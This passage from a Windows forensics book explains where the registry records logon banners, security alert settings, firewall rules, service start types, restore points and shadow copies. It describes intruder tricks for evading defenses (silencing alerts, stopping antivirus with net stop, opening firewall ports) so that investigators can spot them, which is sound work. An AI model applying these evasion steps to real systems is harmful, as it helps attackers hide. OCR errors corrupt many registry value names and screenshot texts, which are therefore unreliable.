often amount to a legal waiver as to any expectation of privacy and often establish legal con-
sent to search and seize data on the system. Further, these banners also set forth conditions for
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authorized use and serve as a “no trespassing” warning for would-be intruders. Although mak-
ing legal opinions about the effect of such banners is not the investigator’s job, determining their
placement and content is.

The HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
key contains the caption and text of any logon banner that is set on the local system. The caption
is the message that appears at the top of the logon banner, and the text is the message contained
in the body. Figure 9.11 shows a logon banner with both a caption and a text message.

FIGURE 9.11 Zero Privacy Warning from Any Corporation rz|
Windows logon
banner You have abszolutely no expectation of privacy while using this computer. By

lngging on and continuing to use this computer, you agree that all data,
keystrokes, voice transmissions, or data in any other format is property of the
corporation and is subject to capture, monitaring, or auditing.  Furthermare the:
company has the right to share any or all of thiz data with law enforcement at the
company's dizcretion. The data may be uzed in administrative, civil, or criminal
proceedings at the discretion of the company. Az a final reminder, you have no
expectation of privacy while using this computer! 'ou have been warned.

The caption appearing at the top of the logon banner is contained in the LegalNoticeCaption
value, and the message in the body of the banner is captured in the LegalNoticeText value.
Figure 9.12 shows the location and partial contents of these two values as displayed in the

Registry Editor.
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Logon banners can also be set by a domain administrator and pushed to individual machines
through Group Policy. When banners are implemented in this way, the registry key in which
they are stored is HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System.
The caption is stored in the LegaTNoticeCaption value, and the message in the body of the ban-
ner is stored in the LegaTNoticeText value. The end result looks similar to Figure 9.11; only the
key’s location differs.

Exploring Windows Security, Action Center,
and Firewall Settings

Windows XP Service Pack 2 (XP SP2) introduced Windows Firewall. This firewall, by most stan-
dards, lacked many controls and features found in most software firewalls; however, it was a
firewall. As such, it was a leap forward in Windows security.

In addition to offering the firewall, XP SP2 unveiled the Security Center. This fea-
ture was designed as a consolidated security barometer reporting to the user the status of
Windows updates, antivirus protection, and the firewall. The intent was that if any of these
components needed attention, the user would be notified immediately. This feature survived
through Windows Vista until being renamed the Action Center in Windows 7.

Naturally, the intruders of the world would prefer that all computers have no firewalls or
antivirus software and that all vulnerabilities be left unpatched. Of course, that would make
their life too easy and unchallenging, so in reality most would probably prefer some obstacles
on which to hone their skills. Also, most intruders would prefer to not make their presence
immediately known after they have compromised a box because they want to make good use of
the newly compromised system. And since they also enjoy their freedom (that is, no jail time),
avoidance of detection is also desirable.

Thus, once the intruder finds a vulnerability and exploits it, his first mission is to neuter
the compromised system’s protection and warning devices. Usually the first step in this neu-
tering process for a Windows box is to change the settings on the Security Center or Action
Center so that the user won't be warned of the second step, which is killing or altering the
firewall and antivirus software. Therefore, as part of reconstructing what happened, the intru-
sion investigator needs to understand and examine the Security Center or Action Center and
Windows Firewall features and settings.

Let’s first examine the Security Center. We'll cover Windows Vista and 7 in this discus-
sion, but since accessing the Security Center interface is the same in Windows XP and Vista,
we'll refer primarily to Windows XP, given that there are likely more XP systems still in use
than Vista. To open the Security Center on a Windows XP (SP2 or later) or Vista system, select
Start > Control Panel > Security Center, and you will see the user interface (UI), as shown in
Figure 9.13. From this U], the user can see the status of the three key items (Firewall, Automatic
Updating, and Malware Protection). Note that the firewall is turned on, but Automatic Updating
is not configured, and the virus and malware protection is either not installed or out of date on
the machine in this example.
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Backup and Restore

In Windows 7, the application name has changed to a more urgent-sounding name,
the Action Center. To open the Action Center on a Windows 7 system, select Start > Control
Panel > System and Security > Action Center, and you will see the user interface, as shown in
Figure 9.14. From this UI, you will notice that the firewall is turned on, but Windows Update
is not set to automatic, and the virus protection has been turned off on the machine in this
example.

By default, both the Security and Action Centers notify the user when any of the three key
items is deficient. This notification process consists of a warning balloon hovering above the
system tray. If an intruder wants to disable your firewall, he doesn’t want you to know about his
actions; therefore, he will turn off the warning by modifying a registry setting. Although there
is a Ul setting for this change, as shown in Figure 9.13, most intruders will make the changes
directly to the registry using the registry key shown in Figure 9.15. In Windows XP and Vista,
you can access this UI by clicking the link in the left panel of the Security Center Ul labeled
Change The Way The Security Center Alerts Me, as shown in Figure 9.13. In Windows 7, you
can access this Ul by clicking the link in the left panel of the Action Center UI, labeled Change
Action Center Settings. The Windows 7 Ul that allows you to change alert settings is shown in
Figure 9.16.
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FIGURE 9.16 =10/x|
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Because these settings are stored in the registry, your next step will be to examine those set-
tings and to understand how they correlate with the settings in the UL The location of the set-
tings for various operating systems is shown here. Where %SID% is listed in the path, it refers to
the security identifier (SID) of a particular user.

Windows Vista Look at the data value in both the EnabTeNotifications and
EnableNotificationsRef entries.

HKEY_LOCAL_MACHINE\Software\Microsoft\Security Center\Svc\%SID%
\EnabTleNotifications
HKEY_LOCAL_MACHINE\Software\Microsoft\Security Center\Svc\%SID%
\EnableNotificationsRef

A data value in the EnableNotifications key of 0 means that all Security Center alerts are
disabled for the particular user represented by the SID. This is a little step backward from the
way that Windows XP stored this information. In Windows XP, there were individual reg-
istry settings that covered the firewall, Windows updates, and antivirus settings. Vista per-
forms these adjustments with one registry value. If the value in the EnableNotifications
key is 1, it means that the alert is available in the form of the red shield in the task tray. If

the value does not exist, then the user will be notified as well as the taskbar shield being
displayed. The data found in the EnableNotificationsRef value represents the number of
times that the EnabTleNot1ifications setting has been changed. This is a good place to look
to see if someone has been tampering with security settings!
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Windows 7 Windows 7 tries to obscure the information a little bit so that it’s not so easy to
recognize where the appropriate settings are hidden in the registry. However, the settings
for the Action Center alerts are located in the individual user registry, similar to Vista, but
Windows 7 adds a little more granularity.

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Action Center
\Checks\{E8433B72-5842-4d43-8645-BC2C35960837}.check.%#%

At the end of the globally unique identifier (GUID) listed notice the symbols %#%, which for

our purposes represents either a 100 value or a 101 value. The 101 value represents the fire-
wall alert settings, while the 100 represents the antivirus alert settings. There are two com-
mon prefixes to the data stored for these values.

*

The prefix 23 00 41 00 43 00 42 00 6c 00 6f 00 62 00 00 0O represents that
the alert functionality is enabled.

A prefix of 01 00 00 00 DO 8C 9D DF 01 15 D1 11 8C 7A 00 CO represents that
the alert functionality is disabled.

The key values that are important to us for this discussion are 100 through 104, and their
meanings are listed in Table 9.1. There are other values in that key that relate to User Account
Control (UAC) settings; however, the key has a different name: { C8E6F269-B90A-4053-A3BE-
499AFCEC98C4} . check. 0. It does, however, follow the same data pattern explained previ-
ously for UAC alert settings being enabled or disabled.

GROUP POLICY OBJECTS AND DOMAIN MEMBERSHIP

The Security Center and Action Center alerts can be controlled by a Group Policy Object (GPO).
Whenever there is a conflict between a local setting of this type and a GPO, the GPO wins. In
addition, if your Vista computer is a member of a domain, you are unable to change the alert set-
tings at all—even if there is no default GPO. Windows 7 has no such restriction tied to domain
membership.

TABLE 9.1:

VALUE

100
101
102
103

104

Common Values in the Action Center Checks Key and their Associated
Functionality

FUNCTION

Virus protection

Network firewall

Spyware and related protection
Windows updates

Internet security alerts
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In short, disabling the alert mechanisms for the Windows security features is often the
first step in an attack. The next step is to disable the antivirus and malware protection and the
Windows Firewall. After that, your attacker can do many things behind the scenes, and the user
might never realize it.

On Windows 7 systems, you can access the Windows Firewall UI by selecting Start > Control
Panel > System and Security > Windows Firewall; it appears as shown in Figure 9.17. Among
the links on the left side of the window you will find an option to turn the firewall on or off.
That link will also enable you to force a higher level of security by blocking all incoming con-
nections—even for the programs that are in the list of allowed programs or features. The Allow
A Program Or Feature Though Windows Firewall link defines services and applications that
are allowed to pass through the firewall. The Advanced Settings link permits the user to define
services and ports that are hosted behind the firewall, thereby allowing inbound access to those
services through defined ports. If, for example, you were hosting a web server, you would have
port 80 open globally for inbound traffic. Through the Advanced Settings link, you could also
configure firewall logging and how ICMP traffic will be handled. Finally, if the user mangles
the settings, there is a Restore Defaults option to reset everything to the default, thereby usually
extricating the user from a mess.

The settings for the Windows Firewall are stored in following registry key:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess
\Parameters\FirewalTPolicy

l @ Public networks ‘Connected d

Networks in public places such as airports or coffee shops

Windows Firewall state: on
Incoming connections: Block all connections to programs that are not on
the kst of allowed programs
Active public networks: Mone
Notification state: Notify me when Windows Firewall blocks a new
See also program

Action Center
Network and Sharing Center
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You will notice under this key the subkeys DomainProfile, StandardProfile, and
PubTicProfile. The DomainProfile key contains the settings per the domain group policy. In
Windows Vista and Windows 7, each user has the option of setting security zones when it comes
to Internet connectivity. The available options in Windows 7 are Home Network, Work Network,
and Public Network; Vista limits its users to either a Public or Private option. The intent in both
of these situations is that when you are in public, your security posture should be higher; when
you're at home or at work (a private network), you may need or want less-restrictive settings. Thus,
the StandardProfile subkey located in the Firewal1PoT1icy key is the local machine profile
for the home/work/private environment, and the Pub1icProfile subkey is for public networks.
Either can be on or off, as defined in the root key of each profile in the value EnabTeFirewall. If
the data value is 1, the firewall works. If its data value is 0, the firewall does not work. Figure 9.18
shows the local firewall (Pub1icProfile) with a value of 1, meaning it is working.

DISABLENOTIFICATIONS

In the FirewallPol1icy key you’ll notice under the Pub11ic, Domain, and StandardProfile
settings a value named DisableNot1ifications. While it may be tempting to think that that
value represents the alert notifications we discussed previously, it is not the same thing. (You
can, of course, test this out for yourself). This setting has to do with whether or not the user is
alerted when Windows Firewall blocks something. By default this entry is set to a value of 0,
which means that Windows will alert the user when it blocks items.
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For each network profile (Domain, Public, Standard/Private), there is a list of authorized
applications with the key name AuthorizedApplications and one for globally open ports
called GToballyOpenPorts. These keys provide lists of applications that are allowed to cross the
firewall and also enumerate the ports that are open to inbound traffic.
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Although turning off the Action Center alert for a firewall and subsequently disabling it are
one means of neutering the security system, another more insidious method is to leave the alert
and firewall on but to modify the firewall settings to allow the intruder’s malware to pass and/
or to open ports for inbound traffic. In this manner, nothing would seem amiss even to the more

knowledgeable user. After all, how many users routinely check their firewall settings or check
which ports are open?

One way an attacker could achieve this neutering would be to run a . reg file encoded with
the requisite registry changes. (A . reg file contains modifications to registry.) When this type of

file is run, the registry objects therein are appended to the registry. Figures 9.19 and 9.20 show

the result of running such a file. Figure 9.19 shows the list of applications that are authorized to

cross the firewall. The highlighted item in the right pane shows that a file named msdtcT.exe
has rights to pass through the firewall. This file is a ServU FTP daemon complete with a back-
door. Figure 9.20 shows the list of globally open ports, which now includes ports 154 and 6667.

FIGURE 9.19
Firewall list of
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msdtcl.exe has
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intruder

FIGURE 9.20
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ally open ports to
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WINDOWS FIREWALL LOGGING

The Windows Firewall has an excellent logging feature; however, in earlier versions of
Windows (Windows XP, for example), it was turned off by default. On Windows Vista and Server
2008, this log is enabled, and when enabled it can log dropped connections, successful connec-
tions, or both. In Windows XP and Server 2003, the log is stored in plain text and is located at the
path %SystemRoot%\pfirewall.log.In Vista, Windows 7, and Server 2008, the file is located at
the path %SystemRoot%\System32\LogFiles\Firewall\pfirewall.log. With Windows 7,
Microsoft reverts to the disabled status, and thus you have to take specific steps to enable logging
of dropped and successful events. Windows event logs contain some firewall logs for Windows 7,
but the content is mostly limited to rule change notification and connection blocking by applica-
tions. We’ll talk about processing these logs in Chapter 11, “Analyzing the Logs.”

When conducting an incident response, it is important to note not only whether the alert and
the firewall were enabled but also the settings for the firewall. You should also pay attention to
the time stamp associated with the List subkeys because if the last-written time stamp coin-
cides with your intrusion, your next logical inquiry should be to determine what the settings
were prior to the intrusion or change. You should note that in Figures 9.19 and 9.20 the time
stamp was May 22, 2006, at 15:11:44 UTC. The importance of this time stamp will become evi-
dent as the next section, “Analyzing Restore Point Registry Settings,” unfolds.

We previously mentioned disabling the antivirus software. Usually this is done with a net
stop service name command, with service name being that of your antivirus software.
When this command is issued, that service stops and with it your virus protection. Therefore,
look for batch files or scripts containing net stop commands, because they may be lingering on
the system. Since your intruder usually has no clue as to which antivirus software you are run-
ning, the batch file will often issue a net stop command for every known antivirus software
service. By stopping them all, the intruder is bound to stop the victim’s software eventually.
Once the service is stopped, the intruder usually doesn’t want it to restart, so the service start
type is changed in the registry.

Each service that is available to start when Windows boots is listed in the following registry key:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services

In the root of each listed service key there is a value named start. The data type for this value
is a DWORD. For services that start automatically at system startup, the data value will be 2. For
those services starting manually, the value will be 3, meaning they start upon demand for that
service. For a service that has been disabled, the value will be 4. You should have guessed by
now that antivirus software will normally start automatically and have a start data value of 2.
You should have also guessed that to prevent your antivirus software from starting, an intruder
would change its type to 4 to disable it. If you find this setting for the antivirus software in your
case, you again want to make note of the time stamp for the key, especially if that time stamp
coincides with your intrusion. Again, your next query will be to determine what the settings
were prior to the intrusion so that you can document the changes made by the intruder. An
additional item of interest would be any firewall rules that may have been added by the admin-
istrator or a user that might be relevant to the investigation. This is especially important if these
configuration rules would end up providing more access than intended.
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Analyzing Restore Point Registry Settings

We have alluded to it long enough, and it is now time to venture into the registry keys that

are stored as part of the restore points. Restore points came out with Windows XP and ME.
Although Windows Server 2003 does not come with restore points installed, there is an instal-
lation hack that allows you to install them from the XP CD, which is a nice feature to add.
Windows Vista and Windows 7 both have the restore points capability enabled by default. The
purpose of restore points in general is to take a snapshot of your system so you can restore it to
a previous point if things go wrong. One thing you have probably noticed is that no server edi-
tions support restore points natively. While restore points as we are going to talk about them are
not available in Server 2008, it does have the Volume Shadow Copy Service, and we will address
that more later in this chapter.

@ Real World Scenario

WINDOWS XP . ..AGAIN?!

Yes, it’s true. We are going to spend a significant amount of time in this chapter talking about arti-
facts that are not found in Windows Vista or Windows 7 or any current Windows Server version
(and likely won’t be found in any later editions of Windows either). We’re going to talk about restore
points and how they are a hidden gold mine.

Restore points were vital to those of us based in the Windows XP realm, since we could get a tre-
mendous amount of good intelligence about what happened and when it happened—it was like
looking backin time! Restore points as they were known in XP have changed somewhat with Vista
and 7. With the later operating systems, we still have a functionality called System Restore (dem-
onstrated in Chapter 8), and thus we have restore points; however, they are no longer stored in the
same format as they were in Windows XP. Now, all of the restore point information is stored in what
is called a volume shadow copy.

So, to answer the question that everyone (including this book’s editing staff) is asking, “Why are
you including this information if it’s not the latest and greatest information?” The answer is simple:
Windows XP is still available in the wild. You will continue to see these devices in your day-to-day
work—and will likely see them for a long time to come. Large organizations are often loathe to dep-
recate assets like computers, especially if they are performing a low-intensity function and aren’t
having any real performance issues. As proof of the fact that you’ll find old operating systems in
your intrusion work, we recently responded to a computer intrusion incident where the client was
still using Windows NT4 in their data center. No, it wasn’t patched. No, it wasn’t secure. Yes, it was
a wonderful leaping-off point once the intruder found it. Remember what we wrote in Chapter 4,
“Windows Password Issues,” about the lonely old computer sitting in the corner of a data center
that no one pays attention to?

So, while restore points don’t pertain to Vista and Windows 7 in terms of structure and presenta-
tion, the information we are about to provide is still relevant. We feel that we would be remiss in not
readdressing the issue to make sure that it is fresh in your minds that these wonderful features exist.

But fear not, a discussion of the wonderful world of VSS (Volume Snapshot Service or Volume
Shadow Copy Service) is coming!
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The settings for restore points are stored in the registry, which should come as no surprise.
They are stored in the following key:

HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\SystemRestore

To make this a viable feature, restore points must be created often enough to make them use-
ful, and thus you will find that at a minimum, Windows XP, Vista, and Windows 7 create them
every 24 hours. In addition, Windows Vista and Windows 7 create a restore point every time
the computer is booted. Turning off a system for an extended period can throw this cycle out of
sync, but one will be created shortly after the next system startup. For Windows XP, the interval
for restore point creation is stored in the RPGlobalInterval value, and the default DWORD data
will be 86,400 (seconds, since 24 hrs = 86,400 seconds). While this value exists for Vista and
doesn’t exist in Windows 7, for the most part, Vista and Windows 7 use the Task Scheduler to
kick off restore point creation based on a fixed schedule. All time sequences, whether stored in
the registry key noted previously or in the Task Scheduler are user configurable, but normally
they do not vary.

As if creating a system snapshot every 24 hours isn’t cool enough from a forensic perspec-
tive, the default retention period for Windows XP is 90 days. That setting is stored in the
RPLifeInterval value and has a default DWORD value of 7,776,000 (seconds, since 90 days =
7,776,000 seconds). In Vista, this value is much larger—4,294,967,295 seconds or over 49,000
days. Windows 7 has no such limit. In reality, restore points for both Vista and Windows 7 are
more likely to be limited by the maximum space that they are allowed to consume, rather than
the age of the restore point. The total amount of space allocated by default to restore points is
described in Table 9.2.

TABLE 9.2: System Restore Point Maximum Data Volume by Operating System
OPERATING SYSTEM HARD DRIVE SIZE DATA VOLUME MAXIMUM
Windows XP >4GB 12% of disk space
Windows XP <4GB 400 MB
Windows Vista n/a 15% of disk space or 30% of free disk space (which-

everisless)

Windows 7 > 64 GB 5% of disk space or 10 GB (whicheverisless)
Windows 7 <64 GB 3% of disk space

There are other triggers that lead to the creation of restore points, too. Any application instal-
lation that utilizes an installer, any Windows Update installation, or any system restore results
in a newly created restore point. Figure 9.21 shows what the System Restore Ul looks like; take a
look at the list of restore points and their associated triggers. Given the size limitations for sys-
tem restore points listed in Table 9.2, let’s think about what this all means. In Windows XP, Vista,
and Windows 7, a system restore point is created a minimum of every 24 hours. Windows XP
will hold this data for 90 days, space permitting. Vista will hold this information for 47,000 days,
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space permitting, and the only limitation on Windows 7 is space. Windows 7 will retain restore
point information so long as it doesn’t exceed 10 GB. If this is starting to sound like a forensic
gold mine, it is!

FIGURE 9.21 1!
ThiS example Of a Restore your computer to the state it was in before the selected event 'é\l
System Restore Ul .
shows various types
of restore pOintS How do I choose a restore point?
(manual, software
installation, and Current time zone: Eastern Daylight Time
Windows Update Date and Time _~ | Description | Type |
. . 9/8/20116:34:12 PM Windows Update Critical Update
mstallatlon). 8/29/2011 3:07:23PM Windows Update Critical Update
8/25/2011 7:36:48 PM Windows Update Critical Update
8/24/2011 12:21:58 PM Before [ Touched the Registry Manual
8/24/2011 11:44:01 AM Installed AccessData Registry Viewer, Instal
8/24/2011 11:40:50 AM Installed CodeMeter Runtime Kit v4.20b Instal
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System restore points are on, by default, which is even better news. They can be turned off,
but this is rare to find. The setting for disabling restore points in Windows XP is a value named
DisableSR and it defaults to 0, meaning that restore points are being created. If the setting is 1,
they have been disabled. For Windows Vista and Windows 7, a different value responds when
the system restore is disabled: RPSessionInterval. While this value was originally intended
for a different function in Windows XP, it appears that whenever the restore point functionality
is disabled in Vista and 7, this value changes from 1 to 0. In addition, if for any reason the disk
drive space containing the restore points drops below the space listed in Table 9.2, the System
Restore service will automatically stop.

You can find Windows XP restore points in numbered folders at \System Volume
Information\_restore{GUID}\RP## (where ## are sequentially numbered as restore points are
created). Windows Vista and Windows 7 restore points are also located in the System Volume
Information folder, but the restore point structure is completely different. Here are a couple of
interesting facts about this folder:

Access By default, the user can’t access folders and files below \System Volume
Information using the Explorer interface. This is true even if the user has administrative
rights and the hidden/system files are set to be visible. This condition makes it difficult for
the average user to access, manipulate, or delete these files! Our hackers, however, are gener-
ally not average users.

Sequencing The fact that the Windows XP restore points are created in numerical and
chronological order can also be an indicator of someone tampering with the system clock. If
you find a restore point that is in numerical sequence but not in chronological sequence, be
on the lookout for system clock tampering.
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RESTORE POINT HACK

The reason why even the administrator can’t access the folder \System Volume Information
lies in the security permissions for this folder. Its default configuration provides that only System
has rights to this folder and its children. While the administrator has no rights to access this
folder, the administrator can add “administrator” to the permissions list for this folder, giving
Full Control to the administrator (or any other user for that matter). Thus, if you want, as admin-
istrator, you could gain access to this folder by modifying the ACL or file security permissions for
the folder holding the System Restore folder and files.

So, not only do you get a system snapshot every 24 hours that is kept for at least 90 days
(free space permitting), but Windows makes it extremely difficult to access and manipulate the
restore points. Things are getting better all the time, but the best is yet to come. To find out what
is available to you, you can't use Explorer, My Computer, or Computer, so you'll have to examine
the Windows XP restore points with forensic software. Figure 9.22 shows their path and stor-
age folder format. You should take note of the sequential folder-numbering scheme because
the restore point folders are numbered in the order in which they are created, making it easy to
locate and navigate through them (and determine if system clock tampering has occurred).
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To access the System Restore UI in Windows XD, select Start > All Programs >
Accessories > System Tools > System Restore. When restore points are created, they are given
names that display in the UI, as shown in Figure 9.21. You must provide names for manually
created restore points, while automatically created ones have names assigned to them that are
stored in the file rp.Tog located in the root of the folder RP##. Here are some characteristics of
Windows XP restore point names:

¢ Whenrestore points are created on schedule (default = 24 hours), they are named System
CheckPoint. This name appears in the user interface.

¢ Therestore point name is stored and pulled from the file rp.1og found in the root of its
RP## folder.
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¢ Therestore point name is stored starting at byte offset 16 of the rp. Tog file.
If software or unsigned drivers are installed, a restore point is usually created.

The name of the software that was installed, or the fact that an unsigned driver was
installed, is used as the name of the restore point.

¢ Auser can manually create restore points, and the user-provided name is stored in this
same location.

¢ Thelast 8 bytes of the rp. Tog file are a Windows 64-bit time stamp indicating when the
restore point was created.

¢ Restore points are also created prior to the installation of any Windows automatic updates.

INTRUDER’S TOOLS LOCATED IN RESTORE POINTS!

Although the purpose of this discussion is leading to the recovery of registry hive files from
restore points, don’t lose sight of the fact that the intruder’s tools might be retained—intact but
with changed filenames—in Windows XP restore points or in the Vista and Windows 7 restore
points—completely intact. In Windows XP restore points, you can locate them by hash analysis,
sorting on byte size, searching for filenames (change . 10d files), or searching for known strings
within those files. Even if an intruder subsequently removes his tools, you can still capture them
in restore points, complete with dates provided when the restore point was created. We’ll talk
more about Windows Vista and Windows 7 restore points shortly, because they are even cooler
than the Windows XP variety!

Windows XP Restore Point Content

Now that we’ve covered all the details of restore point creation, let’s get to the good stuff, which
is the content of restore points. In essence, an XP restore point makes copies of important system
and program files that were added since the last restore point. These files, except for registry
hive files, are stored in the root of the RP## folder; however, they are not easily recognized
because their names have been changed. These files are renamed according to the following
naming convention: A####### . ext, where the pound signs are random numbers and the file
extension is the same as that of the original file.

Logic tells us that Windows must have a means of mapping these new filenames to the origi-
nal filenames and paths. That function occurs in the change. Tog files, which are named change.
Tog.1, change.log.2, and so forth, for as many as are needed. Thus, if you locate a file of interest
in the root of a restore point folder, you can search for its name in the change. Tog files, and its
original path and filename will immediately precede its new name, as shown in Figure 9.23.

TIP

You should note that change . 1og data is stored in Unicode, and any search for this data must be
configured for a Unicode search.




FIGURE 9.23
Mapping of original
filename and path
to new filename as
stored in restore
points as shown in
change.1og files
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We mentioned in the preceding paragraph that registry hive files are an exception to this file-
renaming convention, which is true. They are, however, subject to a different renaming scheme
and are located in a separate folder named Snapshot, which is a subfolder of the RP## folder.
Rather than try to explain it in words, it’s easier to simply detail the renaming convention in a
table, which we do in Table 9.3. The table does not list all hive files but rather those that are typi-
cally found to be of forensic value.

TABLE 9.3:

Mapping of Hive Filenames to their Restore Point Filenames

ORIGINAL HIVE

FILENAME

SAM

SECURITY

SOFTWARE

SYSTEM

NTUSER.DAT

RESTORE POINT HIVE FILENAME

_REGISTRY_MACHINE_SAM

_REGISTRY_MACHINE_SECURITY

_REGISTRY_MACHINE_SOFTWARE

_REGISTRY_MACHINE_SYSTEM

_REGISTRY_USER_NTUSER_SID

NOTES

SIDisthesecurity identifier for the individual
user. To locate a particularuser’sNTUSER. DAT
file, you need to know an SID number for the
userin question.
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Although Table 9.3 doesn't list all hive files, it contains those of greatest forensic interest.
Figure 9.24 shows the complete set of hive files as stored in the restore point folder named snap-
shot. Now that you have arrived at the content you were seeking, which is the registry files in
the restore points, you have one more consideration before examining them. That remaining
issue is which set of restore points to examine.

FIGURE 9.24
Renamed registry
hive files stored
in the snapshot
folder
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As you recall, restore points are stored in folders named RP##, where the ## is a sequential
number. Because they are created sequentially, the sequencing of the folder names should nor-
mally coincide with a sort of those folders based on the file-creation dates. Figure 9.25 shows the
folders in the table view pane sorted by their creation time stamp attribute. By sorting them this
way, you can see that the sequential naming scheme falls into place, because they are in order as
well. Using this method of sorting and dating, you can locate the restore point files for the date
and time that are significant for your inquiry.

FIGURE 9.25
Restore point fold-
ers (RP##) sorted by
their creation time
stamp attribute

‘B EnCase Enterprise =)=/
File Edit View Tools Help
[y New [50pen [gf Save ~Print 2, AddDevice Q Search (3] Logon Refresh (4%
@Casas| (3 SAFES X|[3 Tab\e| Repart ¥ Gallery @Tlmahne Q Disk <44 Code
£y Home  Be Enh'iEs| [T ]Bookm:4 » MName Cr:!:ed ‘1 WLr\atSt;n had
e Home‘ olaFileExtents @ Pedb|| 3 5 | ympis7 07/27/06 12:47:28PM | 08/21/06 04:41:06PM
5 D) (@ RECYCLER [l & |cyress 08/21/06 04:41:06PM  08/22/06 07:13:55AM
-0 Seftware O 7 |Sire1ss 08/22/06 07:13:494M  0B/22/06 07:4L1:094M
oL E)streams [] 8 |ChrrisD 08/22/06 07:4L1:04AM  08/22/06 07:42:35AM
OOy Streams2 O 9 |Chrris1 08/22/06 07:42:31AM  08/22/06 07:42:594M
'}g‘%@sysmmt\:ﬂun;;; |0 0] = re1s2 08/22/06 07:42:54AM  08/22/06 07:43:37AM
0B festoref H [ 11| RP163 08/22/06 07:43:324M  08/22/06 07:44:53AM
i [ 12| Rrr154 08/22/06 07:44:49AM  08/22/06 07:58:11AM
[ 13| (3 RrPi85 08/22/06 07:58:07AM  08/25/06 10:42:31AM
[ 14| Sreiss 08/25/06 10:42:25AM  08/28/06 12:32:54PM
7 |(=EE CIRP1s7 08/28/06 12:32:45PM  08/28/06 12:41:17PM =l
< ] 1l < I [l]

You'll recall that when we ended the previous section dealing with Windows Firewall, we
examined the registry and determined that the intruder had modified the firewall settings.
These modifications were shown in Figures 9.19 and 9.20. These same figures also show that
the last-written time stamp for this key was May 22, 2006, thus indicating when our intruder
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modified the system. Because you want to know what the Windows Firewall settings were prior
to the intrusion, you can make that determination based on an examination of the restore point

registry hive file from the previous day, which in this case would be May 21, 2006 (Figure 9.25 is
an unrelated example, so don't let the files listed there confuse you).

By sorting the restore point folder by creation time, you can quickly locate the restore point
for that date. When you do so, you'll find the file _REGISTRY_MACHINE_SYSTEM located in the
snapshot folder for the restore point created on May 21. Once you have located that file with
your forensic tool, you'll need to export the file to a tool that can display the time stamp attri-
bute. Figure 9.26 shows the firewall settings as displayed in AccessData’s Registry Viewer. If you
compare this view to the one in Figure 9.19, you'll notice that on the day prior to the intrusion,
there was one less program authorized for outbound passage through the firewall. Also you
should note that on May 21, the last-written time stamp for the list of authorized applications

was February 21, 2006.
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Figure 9.27 shows the list of globally open ports on the day prior to the intrusion. Again,
if you compare the restore point list (Figure 9.27) with the list after the intrusion, shown in
Figure 9.20, you will observe that the intruder added two ports by modifying the registry. On
the day before the intrusion, TCP port 3389 was the only one open, and the last-written time
stamp for the List key was September 24, 2004, 17:29:11 UTC. After the intrusion, TCP ports 154
and 6667 were added to the list, with the last-written time stamp for the List key reflecting the
intrusion time, which was May 22, 2006, at 15:11:44 UTC.

By examining the registry hive files stored in restore points, the investigator can document
very significant before-and-after settings and events that were caused by intruders. Just as
important, you'll have time stamp evidence to support your findings. These before-and-after
settings are by no means limited to Windows Firewall. The possibilities are endless. Sometimes
intrusions are not immediately discovered, and restore point examinations can take you a long
way back into the history of the system settings. In addition, there is considerable user activity
information stored in the registry that is archived into neat little forensic bundles by virtue of
the restore point function. Restore points are extremely valuable repositories of evidence for the
examiner or investigator. Make sure to examine them in almost every intrusion case.
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FIGURE 9.27
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Analyzing Volume Shadow Copies for Registry Settings

Unlike the way that Windows XP deals with restore points, Windows Vista and 7 greatly
expanded the files that were tracked by the system restore process. Windows XP restore points
used a file extension filter and typically only watched for changes in those files. When changes
are detected under the appropriate circumstances, copies are made of those files and stored in
the restore point folders. In Vista and beyond, the restore points use the VSS process that takes

a snapshot of the whole volume. Every file that has changed from the last time a snapshot was
taken gets captured in the volume shadow copy, and these shadow copies feed the restore point
data. The volume snapshots still find their home in the System Volume Information folder, but
the contents of that folder have changed significantly as well (Figure 9.28).
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@ Real World Scenario

IN THE BEGINNING. ..

When 1 (Ryan) teach the registry section of our intermediate and advanced forensics classes, 1 spend
a great deal of time talking about the new feature called the Volume Shadow Copy Service (VSS).
Our students agree that the VSSisin fact awesome, but the truth is that it has really been available
since Windows XP SP2. Its main functionality back then was to provide Windows Backup a way to
copy files that were in use or locked during a backup process. This data was typically transient and
as soon as it was no longer needed—after the backup process was complete—it was eliminated. In
2003, the capability for persistent shadow copies was introduced and was called Shadow Copies
for Shared Folders. This essentially allowed individual users to roll back changes that they made
to their items stored on file servers, in case they accidentally damaged their document or files.
This functionality was also referred to as Previous Versions. Even though the purpose of the VSS
implementation in Server 2003 was to protect individual files (typically on a network), the shadow
copy tracked changes in every file and not just ones in shared folders. This is the same way that
Windows Vista, 7, and Server 2008 function with respect to their VSS implementation. The main
difference between the 2003 implementation and the Vista and later implementations is that VSS
is turned on by default starting with Windows Vista. With all of this information it’s no surprise
that we, as incident responders and investigators, want access to this veritable treasure trove of
information.

The registry tracks the volumes that are being monitored by VSS, and that information is

located in the following key:

HKLM\Software\Microsoft\WindowsNT\CurrentVersion\SPP
\CTients\{09F7EDC5-294E-4180-AF6A-FBOEGAOE9513}

The value associated with that key represents the GUID for the volume that is being monitored.

Searching the registry for the GUID will give you the volume letter (Figure 9.29).
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Accessing the volume shadow copies themselves is a little more difficult than the pro-
cess for accessing restore points in Windows XP. There are some processes that are built into
Windows or into the Volume Shadow Copy Development Kit. There are also some that are cre-
ated by third parties with the forensics market in mind. The main command-line tool that is
built into Windows for accessing the volume shadow copies is vssadmin. With this tool, you can
list the shadows that exist on the drive, list the volumes, resize the shadow storage area, and
delete the shadows. For our purposes the most important feature is the listing of all available
shadows (Figure 9.30), which you can then use to get an idea about how far back your shadow
copies will extend.

FIGURE 9.30
Using the vssadmin
. C:~Users FinnPorter>ussadmin list shadows
command-line tool wesadmin 1.1 — Uolume Shadow Copy Service adninistrative command-line tool
. . (C> Copyright 20P1-2885 Microsoft Comp.
to list all available
Contents of shadow copy set ID: {?8elecS5f-1805-4f88—2131-282585273dbe>
shadow files Contained 1 shadow copies at creation time: 9-21.-2811 9:19:84 AM

Shadow Copy ID: {ch4@1ihiB-5ff4—4fae—9f11-Beea??67a004>

Original Uolume: {(C:> \N\?\Uolume{fd?91ch?-dA30-11eB—%af?-806e6fbebP633N

